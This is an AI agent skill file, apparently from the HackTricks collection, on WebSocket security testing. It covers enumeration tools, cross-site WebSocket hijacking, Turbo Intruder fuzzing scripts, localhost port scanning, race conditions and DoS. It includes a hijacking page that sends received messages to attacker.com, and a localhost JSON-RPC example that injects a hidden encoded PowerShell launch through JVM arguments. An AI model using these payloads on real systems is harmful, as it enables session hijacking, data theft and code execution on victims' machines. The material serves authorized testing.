Hacktricks-skills websocket-security-testing

Perform WebSocket security testing including enumeration, fuzzing, CSWSH detection, and vulnerability assessment. Use this skill whenever the user mentions WebSocket testing, real-time communication security, wss/ws endpoints, cross-site WebSocket hijacking, or needs to audit WebSocket implementations for vulnerabilities like race conditions, prototype pollution, or authentication bypass.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/websocket-attacks/SKILL.MD
source content

WebSocket Security Testing

A comprehensive skill for testing WebSocket implementations for security vulnerabilities.

When to Use This Skill

Use this skill when:

  • Testing WebSocket endpoints (
    ws://
    or
    wss://
    ) for security issues
  • Auditing real-time communication channels in web applications
  • Investigating potential Cross-Site WebSocket Hijacking (CSWSH)
  • Fuzzing WebSocket messages for injection vulnerabilities
  • Testing localhost WebSocket services exposed by desktop applications
  • Analyzing WebSocket race conditions or DoS vectors

Quick Start

# Basic WebSocket connection test
websocat --insecure wss://target.com/ws

# WebSocket enumeration with STEWS
stews --url wss://target.com/ws --scan

# Localhost port discovery (Chromium-based browsers)
# Run from a malicious page to find exposed WebSocket services

WebSocket Fundamentals

Connection Establishment

WebSocket connections start with an HTTP handshake:

GET /chat HTTP/1.1
Host: target.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: <base64-random>
Connection: Upgrade
Upgrade: websocket

Key headers to examine:

  • Sec-WebSocket-Key
    : Unique per handshake (not for auth)
  • Sec-WebSocket-Accept
    : Server's hash response
  • Origin
    : Should be validated by server
  • Cookie
    : Often used for authentication (CSWSH risk)

Protocol Variants

ProtocolDescription
ws://
Unencrypted WebSocket
wss://
TLS-encrypted WebSocket
Socket.IOWebSocket with custom framing (
EIO=4
parameter)

Enumeration

Manual Discovery

  1. Find WebSocket endpoints:

    • Search JavaScript files for
      new WebSocket(
    • Look for
      ws://
      or
      wss://
      in network traffic
    • Check for Socket.IO patterns (
      socket.io
      ,
      EIO=
      )
  2. Use automated tools:

    # STEWS - WebSocket vulnerability scanner
    stews --url wss://target.com/ws --scan
    
    # websocat - Raw connection testing
    websocat --insecure wss://target.com/ws -v
    

Tools Reference

ToolPurpose
STEWSAutomated vulnerability scanning
websocatCLI WebSocket client/server
Burp SuiteProxy with WebSocket support
socketsleuthBurp extension for WebSocket history
WSSiPWebSocket/Socket.IO proxy
wsreplInteractive WebSocket REPL
WebSocket Turbo IntruderHigh-rate fuzzing

Cross-Site WebSocket Hijacking (CSWSH)

Detection Checklist

CSWSH is possible when:

  • Authentication uses cookies only (no CSRF tokens)
  • Cookie has
    SameSite=None
    or is missing SameSite
  • Server doesn't validate
    Origin
    header
  • Browser allows third-party cookies

Test Script

Create a test page to check for CSWSH:

<!DOCTYPE html>
<html>
<head><title>CSWSH Test</title></head>
<body>
<script>
const ws = new WebSocket('wss://target.com/ws');

ws.onopen = () => {
  console.log('WebSocket connected - CSWSH may be possible');
  ws.send('READY'); // Trigger response
};

ws.onmessage = (event) => {
  console.log('Received:', event.data);
  // Exfiltration test (no-cors mode)
  fetch('https://attacker.com/collect?d=' + encodeURIComponent(event.data), 
        {mode: 'no-cors'});
};

ws.onerror = (err) => console.error('Connection failed:', err);
</script>
</body>
</html>

Mitigations to Verify

ProtectionHow to Check
Origin validationServer rejects requests with mismatched Origin
CSRF tokensWebSocket requires token in message or query param
SameSite cookiesCookies have
SameSite=Lax
or
SameSite=Strict
Token authAuthentication via header/token, not cookies

Fuzzing with Turbo Intruder

Basic Fuzzing Script

def queue_websockets(upgrade_request, message):
    connection = websocket_connection.create(upgrade_request)
    for i in range(10):
        connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
    results_table.add(websocket_message)

@MatchRegex(r'{"user":".*"}')
def handle_incoming_message(websocket_message):
    results_table.add(websocket_message)

Socket.IO Fuzzing

Socket.IO requires special handling:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
    # Add EIO parameter for Socket.IO
    connection = websocket_connection.create(
        upgrade_request.withUpdatedParameters(
            HttpParameter.urlParameter("EIO", "4")
        )
    )
    # Keep session alive
    connection.queue('40')  # Open
    connection.queue('42["message","hello"]')  # Event

@Pong("3")
def handle_outgoing_message(websocket_message):
    results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
    results_table.add(websocket_message)

HTTP Middleware Pattern

Bridge WebSocket to HTTP for scanner compatibility:

def create_connection(upgrade_request):
    connection = websocket_connection.create(upgrade_request)
    return connection

@MatchRegex(r'{"user":"You"}')
def handle_incoming_message(websocket_message):
    results_table.add(websocket_message)

Then send HTTP requests:

POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"test"}

Localhost WebSocket Abuse

Port Discovery

Desktop applications often expose WebSocket services on localhost:

async function findLocalWs(start = 20000, end = 36000) {
  for (let port = start; port <= end; port++) {
    await new Promise((resolve) => {
      const ws = new WebSocket(`ws://127.0.0.1:${port}/`);
      let settled = false;
      const finish = () => { 
        if (!settled) { settled = true; resolve(); } 
      };
      ws.onerror = ws.onclose = finish;
      ws.onopen = () => {
        console.log(`Found WebSocket on port ${port}`);
        ws.close();
        finish();
      };
    });
  }
}

JSON-RPC Exploitation

Many localhost services use JSON-RPC:

// Example: CurseForge-style exploitation
const ws = new WebSocket('ws://127.0.0.1:PORT/');

ws.onopen = () => {
  // Step 1: Create resource
  ws.send(JSON.stringify({
    type: 'method',
    name: 'createModpack',
    args: {}
  }));
};

ws.onmessage = (event) => {
  const data = JSON.parse(event.data);
  if (data.MinecraftInstanceGuid) {
    // Step 2: Launch with malicious args
    ws.send(JSON.stringify({
      type: 'method',
      name: 'minecraftTaskLaunchInstance',
      args: {
        MinecraftInstanceGuid: data.MinecraftInstanceGuid,
        AdditionalJavaArguments: [
          '-XX:MaxMetaspaceSize=16m',
          '-XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."'
        ]
      }
    }));
  }
};

Race Conditions

Testing Approach

Use THREADED engine for race condition testing:

# Configure for parallel connections
def config():
    return {
        'engine': 'THREADED',
        'concurrency': 100
    }

def queue_websockets(upgrade_request, message):
    # Each connection fires independently
    connection = websocket_connection.create(upgrade_request)
    connection.queue(message)

Common Race Scenarios

  • Double-spend attacks
  • Token reuse
  • State desynchronization
  • Authentication bypass

DoS Testing

Ping of Death

Craft malformed frames to test server resilience:

# Example: Large payload length with no body
def queue_websockets(upgrade_request, message):
    connection = websocket_connection.create(upgrade_request)
    # Set payload length near Integer.MAX_VALUE
    # Server may pre-allocate buffer and crash

Warning: Only test with authorization. High-rate fuzzing can cause real DoS.

Other Vulnerabilities

Input Validation

WebSockets can carry the same vulnerabilities as HTTP:

  • XSS: Malicious payloads in WebSocket messages
  • SQLi: User input in database queries
  • Command Injection: Shell commands in message data
  • Prototype Pollution:
    __proto__
    in JSON messages

Prototype Pollution Detection

{"__proto__":{"initialPacket":"Polluted"}}

If server behavior changes (e.g., echo includes "Polluted"), prototype pollution is possible.

WebSocket Smuggling

Bypass reverse proxies by faking WebSocket handshakes:

GET / HTTP/1.1
Host: target.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Key: <key>
Sec-WebSocket-Version: 13

[Malformed body to confuse proxy]

Testing Workflow

  1. Reconnaissance

    • Find WebSocket endpoints in JS files
    • Map authentication mechanisms
    • Identify protocol (WebSocket vs Socket.IO)
  2. Enumeration

    • Run STEWS for automated scanning
    • Test with websocat for manual exploration
    • Capture legitimate traffic for protocol analysis
  3. Vulnerability Testing

    • Test for CSWSH (cookie auth + no Origin check)
    • Fuzz messages for injection vulnerabilities
    • Check for race conditions with parallel connections
    • Test localhost services if applicable
  4. Documentation

    • Record all findings with evidence
    • Include reproduction steps
    • Suggest mitigations

Safety Guidelines

  • Authorization required: Only test systems you own or have permission to test
  • Rate limiting: High-rate fuzzing can cause DoS
  • Malformed frames: May crash servers
  • Data handling: WebSocket messages may contain sensitive data

References